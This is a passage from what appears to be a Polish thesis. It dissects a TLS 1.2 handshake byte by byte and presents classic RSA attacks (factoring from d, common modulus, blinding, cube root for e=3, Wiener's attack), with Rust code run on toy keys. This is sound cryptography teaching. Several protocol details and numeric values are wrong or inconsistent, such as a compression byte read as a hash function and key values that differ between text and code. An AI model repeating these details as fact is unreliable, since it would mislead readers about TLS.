00000205  2c 89 36 dd 4a 1a fe aa  83 e9 c1 04 ab 69 41 16   ,.6.J... .....iA.
00000215  9b 61 55 57 41 6c 78 fe  58 95 2d 22 88 9c fc 26   .aUWAlx. X.-"...&
00000225  a8 c3 6a b7 29 16 8a f0  de 5e d4 30 93 13 2e 0b   ..j.)... .^.0....
00000235  15 29 c7 31 e0 f0 18 b9  08 d9 2e d9 b5 3d 77 32   .).1.... .....=w2
00000245  15 f5 07 0f fd 8b ff 92  58 77 37 56 50 4f e8 2a   ........ Xw7VPO.*
00000255  e5 07 06 51 30 54 ec 03  fc 5f 52 8d 02 03 01 00   ...Q0T.. ._R.....
00000265  01 a3 60 30 5e 30 1f 06  03 55 1d 23 04 18 30 16   ..‘0^0.. .U.#..0.
00000275  80 14 9a f9 2d 36 1c 2b  11 27 3f 1a b3 1c c0 f3   ....-6.+ .'?.....
00000285  5d e4 11 e3 d7 ff 30 09  06 03 55 1d 13 04 02 30   ].....0. ..U....0
00000295  00 30 11 06 03 55 1d 11  04 0a 30 08 82 06 64 6f   .0...U.. ..0...do
000002A5  6d 61 69 6e 30 1d 06 03  55 1d 0e 04 16 04 14 21   main0... U......!
000002B5  c9 fa 0e b8 e6 55 51 73  f1 a9 6e 6d fc 87 8f 2f   .....UQs ..nm.../
000002C5  cd 3a 04 30 0d 06 09 2a  86 48 86 f7 0d 01 01 0b   .:.0...* .H......
000002D5  05 00 03 82 01 01 00 1c  18 8f cd ec ae 41 2e 99   ........ .....A..
000002E5  cb 23 36 a9 f8 10 7b c1  c5 2d 22 7c a6 d9 c2 a4   .#6...{. .-"|....
000002F5  a5 0c d7 03 82 6c 64 fa  87 74 f9 e5 f7 ff 6a 06   .....ld. .t....j.
00000305  56 d8 a3 7b e2 03 dd 30  ab ca b5 01 5b 1e 39 5c   V..{...0 ....[.9\
00000315  f3 0e 25 d2 cf 2f 4b 0a  64 18 0b 8a ed bd 1f c7   ..%../K. d.......
00000325  f1 0a 63 98 7a aa 13 d7  09 d4 8f b7 7e 62 af c9   ..c.z... ....~b..
00000335  64 81 3e 2d 61 5b 37 1d  30 ba 2d de 98 2d e0 fc   d.>-a[7. 0.-..-..
00000345  44 10 4e dc 45 7a 62 e2  90 31 0c e6 b9 d5 99 2a   D.N.Ezb. .1.....*
00000355  47 e0 10 e2 0a 5e 1f 36  14 28 d9 e5 da 6b f2 35   G....^.6 .(...k.5
00000365  7d 09 02 44 c8 4d 59 d0  4f 4a 65 35 f8 60 6d 94   }..D.MY. OJe5.‘m.
00000375  bd f8 f2 63 12 36 a1 9b  02 d5 bf ef 86 fe 24 37   ...c.6.. ......$7
00000385  59 d0 12 d1 b1 f5 bf 42  18 b5 e8 18 6c 26 a3 bc   Y......B ....l&..
00000395  82 5d 1c 29 b7 26 fd ed  8b dd ca 82 82 da de af   .].).&.. ........
000003A5  37 ab d8 02 47 04 2d 0a  d7 d3 f8 77 46 79 3d 8f   7...G.-. ...wFy=.
000003B5  3b 7c 01 f6 82 ca 99 87  f5 cb 65 ea 4c d9 4a 2f   ;|...... ..e.L.J/
000003C5  8d 53 88 65 68 57 74 13  ee 4d 90 24 bc 99 19 e6   .S.ehWt. .M.$....
000003D5  b4 1b 10 e2 8b 18 59                              ......Y
000003DC  16 03 03 00 04 0e 00 00  00                       ........ .
```

W tych danych można wyróżnić trzy bloki.

Blok pierwszy - ServerHello

Pierwsze 5 bajtów służy, jak poprzednio, do wyznaczenia wersji połączenia i długości pozostałej wiadomości.

Kolejny bajt 0x02 identyfikuje początek bloku zwanego *ServerHello*. Następne trzy bajty 0x00004c są ponownie długością pozostałej wiadomości, a za nimi znajduje się wersja SSL/TLS (0x0303). Jak poprzednio 32 bajty przeznaczone są dla

losowej wartości wybranej przez serwera (bajt od 0x8F do 0xE1).

Pojawiają się teraz dane dotyczące identyfikatora połączenia. Długość tego identyfikatora to 0x20, czyli 32 bajty. Dane zawierające identyfikator są od 0xBC do 0x50. Trzy kolejne bajty wyznaczają wybrane szyfrowanie, gdzie pierwsze dwa to identyfikator szyfrogramu, a ostatni bajt to funkcja skrótu. W tym przypadku 0x003C odpowiada za TLS_RSA_WITH_AES_128_CBC_SHA256, a 0x00 odpowiada za funkcję skrótu NULL, czyli brak zastosowania funkcji skrótu.

Pozostałe bajty tego bloku przeznaczone są dla dodatków.

Blok drugi - Certyfikat

Drugi blok zawiera dane dotyczące certfykifatu serwera. Pierwsze 5 bajtów jest jak poprzednio. Następny bajt 0x0B identyfikuje protokół TLS Handshake, w szczególności wymiana certyfikatu. Trzy kolejne bajty wyznaczają długość certyfikatu, a następne trzy długość łańcucha certyfikatów. Muszą się różnić o trzy bajty. W tym przypadku 0x00037E i 0x00037B różnią się o 3 bajty.

Pozostałe dane są certyfikatem serwera.

Blok trzeci - ServerHelloDone

Ostatni blok, najkrótszy, służy do powiadomienia klienta, że dane dobiegły końca. Serwer w dalszym ciągu będzie oczekiwał na dane od klienta w celu dokończenia połączenia SSL/TLS. Pierwsze 5 bajtów są jak poprzednio. 0x0E wyznacza początek bloku *ServerHelloDone*, a następne trzy bajty wyznaczają długość pozostałych bajtów. Długość 0x000000 jest zerowa, zatem nie ma dalszych danych.

2.2.3. Client key exchange

Po otrzymaniu od serwera danych wcześniej przedstawionych, klient oblicza i wysyła dane poniżej przedstawione.

```
0000009A  16 03 03 01 06 10 00 01  02 01 00 49 2d ab 7c 1f   ........ ...I-.|.
000000AA  1d 33 db d1 d6 db e7 57  c8 ec 47 31 f4 3c bf 43   .3.....W ..G1.<.C
000000BA  94 16 85 6d b2 65 97 07  59 e7 d8 43 9f 8e 46 cc   ...m.e.. Y..C..F.
000000CA  a1 8b c7 28 df e0 67 93  03 d2 66 c1 44 ea 05 e4   ...(..g. ..f.D...
000000DA  51 2c 6f 23 42 d6 09 e4  36 37 6a 72 8d cd a7 6f   Q,o#B... 67jr...o
000000EA  4a 75 01 c2 ef 8b 45 a8  39 e9 3a 5a 07 6b 29 35   Ju....E. 9.:Z.k)5
000000FA  3d 4d 9e 15 59 06 6c d4  61 21 8c c1 8e e2 89 7d   =M..Y.l. a!.....}
0000010A  b9 e7 f7 d6 66 9b 66 54  2f 4a 2d d0 9c ac f1 99   ....f.fT /J-.....
0000011A  4f 49 67 61 01 0d 5f a2  83 3a 9c 27 2f 64 74 6a   OIga.._. .:.'/dtj
```

```
0000012A  24 c4 b8 a9 9c e2 a3 df  b8 68 9f 23 9b 73 6e 6a   $....... .h.#.snj
0000013A  fa 2a a6 d0 a4 94 3c 94  25 f8 19 f4 87 4d 5f be   .*....<. %....M_.
0000014A  0c 97 a0 33 e3 1e dc d9  5b 46 c4 b1 88 37 22 14   ...3.... [F...7".
0000015A  80 07 22 4c a8 c8 da d7  4f 48 06 48 d4 d5 3e 8a   .."L.... OH.H..>.
0000016A  73 74 aa cd 55 b2 64 bc  77 73 40 7b 96 6e 2a 72   st..U.d. ws@{.n*r
0000017A  e7 39 4e 54 f2 5b b7 cc  eb c5 73 36 cc d0 66 e1   .9NT.[.. ..s6..f.
0000018A  35 38 2e cb 50 29 38 f5  35 a5 1f f0 74 95 5a 64   58..P)8. 5...t.Zd
0000019A  4a 1f b6 88 d1 6d c5 0c  6a da a7                 J....m.. j..
```

Pierwsze 5 bajtów jest jak poprzednio. Następnie bajt 0x10 wyznacza protokół SSL/TLS w szczególności wymiana klucza klienta. Trzy bajty za tym (0x000102) są długością pozostałej wiadomości. Bajty po tej długości są nazywane *PreMasterSecret* i zawierają informacje na temat klucza do komunikacji. Te dane są szyfrowane kluczem publicznym serwera, który został doręczony poprzez *ServerHello*. Ponadto, te dane są formatowane według PKCS #1. To formatowanie zostanie omówione w kolejnych rozdziałach.

2.2.4. Change cipher spec

Klient dodatkowo wysyła blok danych, który został nazwany *ChangeCipherSpec*. Te dane są szyfrowane kluczem, który będzie wykorzystywany do dalszej komunikacji. Poniżej został ten blok przedstawiony.

```
000001A5  14 03 03 00 01 01 16 03  03 00 50 71 19 32 c5 1a   ........ ..Pq.2..
000001B5  40 95 74 87 84 5b e1 04  19 df 30 61 07 57 cb 33   @.t..[.. ..0a.W.3
000001C5  b3 b4 02 01 8b 68 f8 c0  1a ac 1c aa b6 07 a5 58   .....h.. .......X
000001D5  be e1 66 2b 0a 75 af 65  17 98 bc 2d 6e 0e b7 32   ..f+.u.e ...-n..2
000001E5  9e bb 2d 0c d1 d9 a9 f5  48 69 88 ed 3e 18 b1 c6   ..-..... Hi..>...
000001F5  d9 0d 0e 13 0d 59 b5 20  be a7 3c                 .....Y.  ..<
```

Pierwsze sześć bajtów dedykowane są protokołowi zmiany szyfrogramu. Bajt 0x14 jest identyfikatorem tego protokołu. Kolejne dwa bajty są wersją SSL/TLS, a dwa następne są długością wiadomości. Jest to 0x0001 czyli wiadomość o długości jednego bajta. Ten bajt to 0x01.

Pierwsze pięć bajtów jest jak w poprzednich przypadkach. Kolejne dane są zaszyfrowaną wiadomością. Składają się z konkatenacji dwóch funkcji skrótu, MD5 i SHA-1. Skrót obliczany jest na postawie wiadomości dotychczas wysłanych, odebranych i innych wartości. Protokół jest przez to wytrzymały na atak z pośrednikiem (ang. man-in-the-middle), ponieważ skracane dane są posiadanie przez serwera i klienta osobno. W protokole SSL v3 natomiast wysyłane były skróty MD5 i SHA-1 wiadomości oraz blok weryfikacyjny.

Serwer, po otrzymaniu tego bloku danych, wysyła także *ChangeCipherSpec* formatowany w podobny sposób. Dane te zostały poniżej przedstawione.

```
000003E5  14 03 03 00 01 01                                       ......
000003EB  16 03 03 00 50 17 58 86  dd f0 a1 fe 06 a5 f8 34   ....P.X. .......4
000003FB  88 9a b2 25 16 bc 17 3b  96 05 44 0e c0 53 8a 3a   ...%...; ..D..S.:
0000040B  07 b9 d9 e2 45 fb 72 e0  89 95 db b3 3d 42 ce 64   ....E.r. ....=B.d
0000041B  81 fe 65 87 82 2c 75 02  b6 c4 ba ca 52 d3 10 6d   ..e..,u. ....R..m
0000042B  08 ae 6a fa 32 18 e6 23  df b6 70 9f 31 51 cc 05   ..j.2..# ..p.1Q..
0000043B  f7 86 43 ea be
```

Szyfrowane dane są sprawdzanie przez klienta i serwera aby potwierdzić poprawną wymianę klucza.

2.3. Dane aplikacji

Jeżeli serwer i klient przejdą przez kroki wcześniej omówione bez żadnego problemu, to wysyłane wiadomości będą szyfrowane ustalonym kluczem. Poniżej takie dane zostały przedstawione.

```
00000200  17 03 03 00 40 1c 1e 03  69 63 ec 92 f7 c1 c6 55   ....@... ic.....U
00000210  fc 66 7b 96 1c 13 74 8d  65 e7 36 16 f6 c0 04 cc   .f{...t. e.6.....
00000220  1f fb b5 97 5d a1 ae a8  84 92 6e 6a e8 3c e0 67   ....]... ..nj.<.g
00000230  10 b8 3d c8 eb 69 a8 67  0a e2 ff 95 db a3 5e 7a   ..=..i.g ......^z
00000240  c8 53 92 18 65                                     .S..e
    00000440  17 03 03 00 40 15 c8 1b  0b 99 72 cc 7d a6 29 09   ....@... ..r.}.).
    00000450  af af 3c 8e 40 28 33 1d  3e be 14 65 64 d7 c5 37   ..<.@(3. >..ed..7
    00000460  9c e3 80 34 08 10 f3 f2  ee a2 2b f4 ec 1e 68 d8   ...4.... ..+...h.
    00000470  49 ec 70 e6 ce 53 9b db  ee e9 fe 97 fa 88 f6 95   I.p..S.. ........
    00000480  c5 00 54 92 1e                                     ..T..
```

Dane wyjustowane do lewej strony są danymi wysłanymi przez klienta do serwera. Pozostałe dane są danymi wysłanymi przez serwera do klienta.

Pierwszy bajt 0x17 wyznacza protokół aplikacji danych protokołu SSL/TLS. Kolejne dwa bajty 0x0303 są wersją protokołu, a następujące dwa 0x0040 są długością wiadomości. Ostatnie 20 lub 16 bajtów przeznaczone są do weryfikacji. Bajty pośrodku są zaszyfrowane kluczem ustalonym poprzez *SSL Handshake*.

2.4. Alerty SSL/TLS

Jeżeli wystąpią błędy w trakcie komunikacji, weryfikacji danych lub inne, może zostać wysłany blok danych który nazywany jest *SSL Alert*. Składa się on z bajtu 0x15, który wyznacza protokół alertów protokołu SSL/TLS. Kolejne dwa bajty będą

wersją protokołu, a następne dwa długością wiadomości. W tej wiadomości pierwszy bajt będzie wyznaczał typ błędu, kolejne dwa bajty będą długością, a za tymi może się znaleźć dalsza informacja o błędzie.

3. Wybrane ataki na system RSA

W tym rodziale przedstawiono wybrane ataki na system RSA. Dla niektórych przedstawiono też przykład z implementacją w kodzie. Przykłady te można uruchomić korzystając z programu zapisanego jako *ssl_ attack*. Ponieważ program został skompilowany na systemie Unix, może być konieczna rekompilacja.

3.1. Rozkład dużych liczb

W systemie RSA liczba n w kluczu publicznym jest iloczynem dwóch liczb pierwszych. Tę liczby nie są znane innym użytkownikom natomiast potrzebne są do obliczenia klucza prywatnego i publicznego. Znając rozkład liczby n można obliczyć $\varphi(n)$, które służy do wyznaczania kluczy.

Rozłożenie dużych liczb naturalnych na czynniki pierwsze jest niezwykle trudne. Istnieją algorytmy szukające dzielników danej liczby, które działają szybciej niż dzielenie liczby n przez wszystkie liczby od niej mniejsze. Te algorytmy są jednak za wolne, żeby w odpowiednio krótkim czasie rozłożyć dużą liczbę n.

Istnieją takie liczby $n = pq$, gdzie p i q są pierwsze, dla których znalezienie rozkładu jest znacznie szybsze niż dla dowolnego iloczynu liczb pierwszych. W ogólności, jeżeli da się rozłożyć liczbę n systemu RSA w krótkim czasie, to system ten zostaje złamany.

Fakt 3.1. [3] Niech para (n, e) będzie kluczem publicznym systemu RSA. Jeżeli jest znany rozkład liczby n, to można łatwo obliczyć klucz prywatny d. Jeżeli natomiast znana jest liczba d, to możliwe jest rozłożenie liczby n.

Ponieważ znany jest rozkład liczby n, to znana jest też wartość funkcji $\varphi(n)$. Z klucza publicznego znana jest liczba e co oznacza, że można obliczyć klucz prywatny d z równości

$$ed = 1 \pmod{\varphi(n)}.$$

Do tego można wykorzystać rozszerzony algorytm Euklidesa którego implementacja została przedstawiona poniżej.

```
    print!("\n");
    return ret1;
}

pub fn euclides(a: i128, b: i128) -> (i128, i128, i128) {
    let mut x1: i128 = 1;
    let mut y1: i128 = 0;
    let mut x2: i128 = 0;
    let mut y2: i128 = 1;
    let mut q: i128;
    let mut r1: i128 = a;
    let mut r2: i128 = b;
    while r2 != 0 {
        q = r1 / r2;
        (r1, r2) = (r2, r1 % r2);
        (x1, x2) = (x2, x1 - x2 * q);
        (y1, y2) = (y2, y1 - y2 * q);
    }
    return (r1, x1, y1);
}

pub fn euclides_gmp(a: Integer, b: Integer) -> (Integer, Integer, Integer) {
    let mut x1: Integer = Integer::from(1);
    let mut y1: Integer = Integer::from(0);
    let mut x2: Integer = Integer::from(0);
    let mut y2: Integer = Integer::from(1);
    let mut q: Integer;
    let mut tmp: Integer;
    let mut r1: Integer = a;
    let mut r2: Integer = b;
    while r2 != 0 {
        tmp = r2.clone();
        (q, r2) = r1.div_rem(r2);
        r1 = tmp;
        (x1, x2) = (x2.clone(), x1 - x2 * q.clone());
```

Listing 3.1. ./ssl_attack/src/lib.rs od 24 do 58

Jeżeli natomiast znana jest liczba d, to należy obliczyć $k = ed - 1$. Z definicji klucza publicznego i prywatnego wiadomo, że $ed = 1 \pmod{\varphi(n)}$. Oznacza to, że liczba k jest krotnością liczby $\varphi(n)$. Ponieważ ta liczba jest parzysta, to k można zapisać jako $k = 2^t r$, gdzie $t \geq 1$ i r jest nieparzyste. Z twierdzenia Eulera wynika ponadto, że $g^k = 1$ dla każdej liczby $g \in 0, 1, \ldots, n-1$ względnie pierwszej z n. Oznacza to, że $g^{k/2}$ jest pierwiastkiem z jedności modulo n. Z chińskiego twierdzenia o resztach, liczba 1 ma cztery pierwiastki modulo iloczyn dwóch różnych liczb pierwszych. Dwa z nich są trywialne: ± 1. Pozostałe dwa są równe $\pm x$, gdzie liczba

x spełnia następujące warunki:

$$\begin{cases} x = 1 \pmod{p}, \\ x = -1 \pmod{q}. \end{cases}$$

Obliczając NWD$(x-1, n)$ lub NWD$(x+1, n)$, to ujawniony zostaje jeden z dzielników n, czyli rozkład tej liczby. Za liczbę x podstawiana jest liczba $g^{k/2^i}$ dla $i = 1, 2, \ldots, t$. Jedna z tych liczb da nam szukane dzielniki.

Przykład

Niech kluczem publicznym systemu RSA będzie (n, e) oraz kluczem publicznym będzie d definiowane następująco:

$n =$122649059178162637000235154483937777089675521737123581091091120757212368433185056590708512714409978021061721803238743089377017125233470097828267381129811527211817783127863190115871663909093856744030469482599261983671636847777109062306704031853586998589720620542362799225455358216910781283304828215788728105359,

$e =$846175017278884238211335964415711215208153976432250899344444363495026815189352935555317668245730984973725643733072885360358550027836390202985353256600764026070343998905859373307478945325732220221390288130646832587519827678558737928425470774472264432568908814208258296346801972428646994160612174807501094125 93,

$d =$65537.

Przyjęto liczbę $g = 3$. Na podstawie powyższego algorytmu i korzystając z kodu przedstawionego poniżej, znaleziono dzielniki liczby n. Są to:

$$p = 101580982521687223733614505860249961016617080$$
$$68399802677638707101068891412467653094423511178700011746942811768678137318494657299130892666639682293044016167,$$

$$q = 120740178066280708051466531963407769267805436$$
$$65456967426726279836129278920065591970598839834387005998499235035956833618759242335883374594753990066888315 77.$$

```
1120757212368433185056590708512714409978021061721803238743089377017125233470097828267381129811527211817783127863190115871663909093856744030469482598261983671636847777109062306704031853586998589720620542362799225455358216910781283304828215788728105359";
let e_str: &str = "8461750172788842382113359644157112152081539764322508993444443634950268151893529355553176682457309849737256437330728853603585500278363902029853532566007640260703439989058593733074789453257322202213902881306468325875198276785587379284254707744722644325689088142082582963468019724286469941606121748075010941259 3";
let n: Integer = n_str.parse::<Integer>().unwrap();
let e: Integer = e_str.parse::<Integer>().unwrap();
let d: Integer = Integer::from(65537);

let k: Integer = e*d - Integer::from(1);
let mut t_int: u16 = 0;
let mut r: Integer = k.clone();
while r.is_even() {
    r = r/2;
    t_int += 1;
}
let t: Integer = Integer::from(t_int);

println!("k = 2^{} * {}", t, r);
let mut x: Integer;
let mut p: Integer;
let mut q: Integer;
for i in 1..t_int {
    let tmp = &k / Integer::from((2 as u32).pow(i.into()));
    x = Integer::from(3).pow_mod(&tmp, &n).unwrap();
    p = (&x - Integer::from(1)).gcd(&n);
    q = (&x + Integer::from(1)).gcd(&n);
    if p.clone() == Integer::from(1) || q.clone() == Integer::from(1) {
        continue;
    }
```

```
35          if n == p.clone() * q.clone() {
36              println!("Here is p: {}\nHere is q: {}", &p, &q);
37          }
38      }
39  }
40
41  fn rsa_example() {
```

Listing 3.2. ./ssl_attack/src/main.rs od 116 do 156

3.2. Wspólny moduł [3]

Aby uniknąć problemu związanego z tworzeniem nowej wartości n dla klucza publicznego systemu RSA, urząd certyfikacji może zastosować tą samą liczbę n dla wielu użytkowników, tworząc inne klucze publiczne i prywatne. Dla użytkownika i zostanie więc stworzony klucz publiczny (n, e_i) oraz klucz prywatny d_i. Użytkownik k nie może odszyfrować bezpośrednio wiadomości szyfrowanej kluczem publicznym użytkownika i. Natomiast, jak wcześniej pokazano, użytkownik k może znaleźć rozkład liczby n korzystając z klucza publicznego e_k i prywatnego d_k. Wtedy jest możliwe obliczenie $\varphi(n)$ oraz, ponieważ n jest takie same dla wielu użytkowników, klucza prywatnego d_i korzystając z metody generacji kluczy.

3.3. Atak z wybranym szyfrogramem [3]

System RSA jest wrażliwy na atak z wybranym szyfrogramem (ang. blinding). Niech użytkownicy A i B posługują się komunikacją RSA z ustalonym kluczem publicznym (n, e) i kluczem prywatnym d należącym tylko do użytkownika A. Niech ponadto użytkownik O dysponuje zaszyfrowaną wiadomością c która odpowiada wiadomości m. Użytkownik O wybiera liczbę s i tworzy nowy szyfrogram postaci $c' = s^e c \pmod n$. Następnie pyta użytkownika A o odszyfrowanie tej wiadomości. Zakładając, że A ją odszyfruje, ponieważ nie wygląda groźnie, użytkownik O może odczytać wiadomość m:

$$m' = (c')^d \pmod n = (s^e c)^d \pmod n = s \cdot m \pmod n$$

czyli

$$m = m' s^{-1} \pmod n$$

3.4. Mały wykładnik publiczny

Dla przyspieszenia szyfrowania można dobrać mały wykładnik e, czyli klucz publiczny. Jest to natomiast niebezpieczne dla systemu RSA. Za mały wykładnik uznawane są liczby mniejsze równe 65537. Korzysta się w tym przypadku z twierdzenia Coppersmitha, które zostało podane poniżej:

Twierdzenie 3.1 (Coppersmith)**.** *[3] Niech $n \in \mathbb{Z}$ oraz $f \in \mathbb{Z}[x]$ będzie unormowanym wielomianem stopnia d. Niech ponadto $X = n^{\frac{1}{d}-\epsilon}$ dla pewnego $\epsilon > 0$. Wtedy, znając (n, f) użytkownik M może znaleźć wszystkie liczby całkowite $|x_0| < X$ spełniające równanie $f(x_0) = 0 \pmod{n}$. Czas działania jest identyczny do czasu działania algorytmu redukcji bazy sieci (LLL)*

Twierdzenie to podaje algorytm do znalezienia pierwiastków modulo n danego wielomianu. Wykorzystywana metoda to algorytm redukcji bazy sieci LLL, który bierze nazwę od twórców L. Lovasz, A. Lenstra i H. Lenstra Jr. Algorytm ten jest wykorzystywany powszechnie w atakach na inne systemy kryptograficzne. Nie zostanie on natomiast tutaj rozważany.

Rozważony zostanie teraz atak na system RSA, gdzie dla klucza publicznego wybrano liczbę $e = 3$. Atak ten polega na zauważeniu, że część całkowita pierwiastka trzeciego stopnia jest szukanym pierwiastkiem. Należy natomiast rozważyć dwa przypadki.

Niech $(n, 3)$ będzie kluczem publicznym systemu RSA, a d kluczem prywatnym. Niech ponadto m będzie wiadomością którą będzie szyfrowana. Jeżeli $c = m^3 < n$, to $m = \lfloor c^{1/3} \rfloor$. Jeżeli natomiast $c = m^3 \geq n$, to $m^3 = k \cdot n + c$ dla pewnego $k \in \mathbb{Z}$. Zatem $m = \lfloor (c + k \cdot n)^{1/3} \rfloor$ dla pewnego $k \in \mathbb{Z}$. Ostatecznie, można sprawdzać kolejno wartości k aż do momentu uzyskania wiadomości ze sensem, lub wiadomości w szukanym formacie.

3.4.1. Przykład z implementacją

Niech kluczem publicznym systemu RSA będzie para (n, e) zdefiniowana w następujący sposób:

$$n = 29331922499794985782735976045591164936683059380558950386560160105740343201513369939006307531165922708949619162698623675349030430859547825708994708321803705309459438099340427770580064400911431856656901982789948285309956111848686906152664473350940486507451771223435835260168971210087470894448460745593956840586530527915802541450092946574694809584880896601317519794442862977471129319781313161842056501715040555964011899589002863730868679527184420789010551475067862907739054966183120621407246398518098981106431219207697870293412176440482900183550467375190239898455201170831410460483829448603477361305838743852756938687673,$$

$$e = 3.$$

Na podstawie informacji wcześniej przedstawionej, wypróbowano wartości k od 1 do 10000 w celu odszyfrowania tajnej wiadomości. Poniżej przedstawiono kod programu.

```
    160105740343201513369939006307531165922708949619162698623675349030430859547825
    708994708321803705309459438099340427770580064400911431856656901982789948285309
    956111848686906152664473350940486507451771223435835260168971210087470894448460
    745593956840586530527915802541450092946574694809584880896601317519794442862977
    471129319781313161842056501715040555964011899589002863730868679527184420789010
    551475067862907739054966183120621407246398518098981106431219207697870293412176
    440482900183550467375190239898455201170831410460483829448603477361305838743852
    756938687673";
    let n: Integer = n_str.parse::<Integer>().unwrap();
    let e: Integer = Integer::from(3);

    let message: &str = "Super secret message";
    let m: Integer = Integer::from_digits(message.as_bytes(), Order::MsfBe);
    let c: Integer = m.pow_mod(&e, &n).unwrap();
    println!("Here is your ciphertext: {}", c);

    let (res, k) = small_e(n, c, e);
    println!("Decrypted message: {}", res);
    println!("k is: {}", k);

```

```
21      pub fn small_e(n: Integer, c: Integer, e: Integer) -> (String, i32) {
22          let mut arr: Vec<u8>;
23          let mut m: Integer;
24
25          for i in 0..10000 {
26              m = c.clone() + i*n.clone();
27              m = m.root(e.to_u32_wrapping());
28              arr = m.to_digits::<u8>(Order::MsfBe);
29              let mut str: String = String::new();
30              for j in arr.clone() {
31                  str.push(j as char);
32              }
33              if str.is_ascii() {
34                  return (str,i);
35              }
36          }
37          return (String::from(""), -1);
38      }
39  }
40
41  fn factor_n_example() {
```

Listing 3.3. ./ssl_attack/src/main.rs od 74 do 114

Uzyskano tajną wiadomość „Super secret message” oraz wartość $k = 0$.

3.5. Mały wykładnik prywatny

Aby przyspieszyć czas odszyfrowania, można dobrać mały klucz prywatny d. Jest to natomiast problem dla systemu RSA, ponieważ możliwe jest odgadnięcie klucza prywatnego korzystając z twierdzenia podanego poniżej.

Twierdzenie 3.2 (M. Wiener)**.** *[3] Niech $n = pq$ gdzie $q < p < 2q$. Niech ponadto $d < \frac{1}{3}n^{1/4}$. Wtedy dla $ed = 1 \pmod{\varphi(n)}$ można uzyskać d.*

Dowód tego twierdzenia polega na pewnych zależnościach aproksymacyjny oraz na ułamkach łańcuchowych. Wiadomo, że jeżeli $ed = 1 \pmod{\varphi(n)}$, to $ed = k \cdot \varphi(n) + 1$ czyli $ed - k \cdot \varphi(n) = 1$. Wtedy można zapisać:

$$\left| \frac{e}{\varphi(n)} - \frac{k}{d} \right| = \frac{1}{d \cdot \varphi(n)}$$

W języku ułamków łańcuchowych oznacza to, że $\frac{k}{d}$ jest przybliżeniem ułamka $\frac{e}{\varphi(n)}$ z błędem $\frac{1}{d \cdot \varphi(n)}$.

Dalej, z definicji funkcji Eulera wiadomo, że $\varphi(n) = (p-1)(q-1) = n-p-q+1$. Ponadto $p+q-1 < 3\sqrt{n}$, co oznacza, że $|n-\varphi(n)| < 3\sqrt{n}$. Zatem atakujący może wykorzystać n na miejscu $\varphi(n)$, co pozwala na dalsze rozważania. Wtedy:

$$\begin{aligned}\left|\frac{e}{n}-\frac{k}{d}\right| &= \left|\frac{ed-kn}{nd}\right| \\ &= \left|\frac{ed-k\varphi(n)-kn+k\varphi(n)}{nd}\right| \\ &= \left|\frac{1-k(n-\varphi(n))}{nd}\right| \leq \left|\frac{k\cdot 3\sqrt{n}}{nd}\right| = \frac{3k}{d\sqrt{n}}\end{aligned}$$

Ponieważ $k\varphi(n) = ed-1$ oraz $e < \varphi(n)$, to $k < d$. Z założeń twierdzenia wiadomo, że $d < \frac{1}{3}n^{1/4}$. Oznacza to, że nierówność powyżej jest postaci:

$$\left|\frac{e}{n}-\frac{k}{d}\right| \leq \frac{3k}{d\sqrt{n}} \leq \frac{3\frac{1}{3}n^{1/4}}{dn^{1/2}} = \frac{1}{dn^{1/4}} < \frac{1}{3d^2}$$

Zatem $\frac{k}{d}$ jest przybliżeniem ułamka $\frac{e}{N}$. Te przybliżenia można wyznaczyć korzystając z reduktorów ułamków łańcuchowych.

3.5.1. Przykład z implementacją

Niech kluczem publicznym systemu RSA będzie para (n, e) zdefiniowana w następujący sposób:

$n =$1226490591781626370002351544839377708967552173712358109109
11207572123684331850565907085127144099780210617218032387430
89377017125233470097828267381129811527211817783127863190115
87166390909385674403046948259826198367163684777710906230670
40318535869985897206205423627992254553582169107812833048282
15788728105359,

$e =$8461750172788842382113359644157112152081539764322508993444
43634950268151893529355553176682457309849737256437330728853
60358550027836390202985353256600764026070343998905859373307
47894532573222022139028813064683258751982767855873792842547
07744722644325689088142082582963468019724286469941606121748
0750109412593.

Za pomocą tego klucza zaszyfrowano tajną wiadomość. Na podstawie twierdzenia Wienera oraz korzystając z kodu przedstawionego poniżej, wyznaczono klucz prywatny oraz odszyfrowano wiadomość.

```
1120757212368433185056590708512714409978021061721803238743089377017125233470097828267381129811527211817783127863190115871663909093856744030469482599826198367163684777710906230670403185358699858972062054236279922545535821691078128330482821578872810535 9";
let e_str: &str = "8461750172788842382113359644157112152081539764322508993444443634950268151893529355553176682457309849737256437330728853603585500278363902029853532566007640260703439989058593733074789453257322202213902881306468325875198276785587379284254707744722644325689088142082582963468019724286469941606121748075010941259 3";
let n: Integer = n_str.parse::<Integer>().unwrap();
let e: Integer = e_str.parse::<Integer>().unwrap();

let message: &str = "Other secret message";
let m: Integer = Integer::from_digits(message.as_bytes(), Order::MsfBe);
let c = m.pow_mod(&e, &n).unwrap();

let mut num: Integer = e.clone();
let mut den: Integer = n.clone();
let mut q: Integer;
let (_, mut r) = num.clone().div_rem(den.clone());
let mut d1: Integer = Integer::from(1);
let mut d2: Integer = Integer::from(0);
let mut d: Integer;
let mut m: Integer;

while r != Integer::ZERO {
    num = den.clone();
    den = r.clone();
    (q, r) = num.clone().div_rem(den.clone());
    d = q.clone() * d1.clone() + d2.clone();

    m = match c.clone().pow_mod(&d, &n) {
        Ok(m) => m,
        Err(_) => unreachable!(),
    };

    let arr: Vec<u8> = m.to_digits::<u8>(Order::MsfLe);
    let mut str: String = String::new();
    for i in arr {
        str.push(i as char);
    }
    if str.is_ascii() {
        println!("Decrypted message: {}", str);
        break;
    }
    d2 = d1.clone();
    d1 = d.clone();
}
println!("Here is your private key: {}", d1);
```

```
50 }
51
52 fn small_public_exponent() {
```

Listing 3.4. ./ssl_attack/src/main.rs od 21 do 72

Uzyskano tajna wiadomość „Other Secret Message” oraz klucz prywatny o wartości:

$d = 16947$.

3.6. Atak z wybranym szyfrogramem Bleichenbachera

3.6.1. PKCS #1 [4]

W standardzie PKCS #1 w bloku dedykowanym szyfrowaniu dane są formatowane w następujący sposób. Niech (n, e) będzie kluczem publicznym, a d kluczem prywatnym systemu RSA. Niech k będzie długością bajtową n. Wiadomo, że $2^{8(k-1)} \leq n \leq 2^{8k}$. Dla bloku danych D o długości $|D|$ bajtów jest tworzony pseudolosowo łańcuch PS o długości bajtowej $k - 3 - |D|$, gdzie żaden bajt nie jest zerowy. Blok wiadomości jest tworzony przez konkatenacje bajtową ($||$): $EB = 00||02||PS||00||D$. Blok ten jest konwertowany w liczbę x i zaszyfrowany $c = x^e \pmod n$.

Odbiorca szyfrogramu odszyfrowuje i szuka drugiego zerowego bajta. Ten bajt sygnalizuje koniec bloku uzupełniającego, więc bajty dalej są blokiem danych D.

